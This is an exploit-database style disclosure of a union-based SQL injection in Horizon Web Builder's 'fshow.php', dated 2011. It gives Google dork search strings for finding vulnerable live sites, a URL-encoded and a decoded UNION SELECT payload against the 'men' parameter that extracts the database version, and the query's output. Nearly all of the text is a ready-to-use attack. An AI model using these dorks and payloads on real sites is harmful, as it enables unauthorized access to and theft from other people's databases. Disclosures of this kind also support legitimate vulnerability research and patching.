Horizon Web Builder - 'fshow.php' SQL Injection

# Exploit Title: Horizon SQLi
# Google Dork: intext:"Site by Horizon"
#            : inurl:"uid=HORIZON3"
# Date: 03/05/2011
# Author: Iolo Morganwg
# Category: Web App
# Version: PHP
# Tested on: Windows XP
# Vendor: http://www.horizonsolutions.tv/
# Notes: Both params are vulnerable to union based sqli

# Encoded (URL) Example
/fshow.php?uid=HORIZON3&men=-4649%27%20UNION%20ALL%20SELECT%20CONCAT%28CHAR%2858%2C119%2C117%2C97%2C58%29%2CIFNULL%28CAST%28version%28%29%20AS%20CHAR%29%2CCHAR%2832%29%29%2CCHAR%2858%2C99%2C105%2C99%2C58%29%29%23%20

# Un-Encoded Example
GET /fshow.php?uid=HORIZON3&men=-4649' UNION ALL SELECT
CONCAT(CHAR(58,119,117,97,58),IFNULL(CAST(version() AS
CHAR),CHAR(32)),CHAR(58,99,105,99,58))#  HTTP/1.1

# Query Answer
5.1.55-log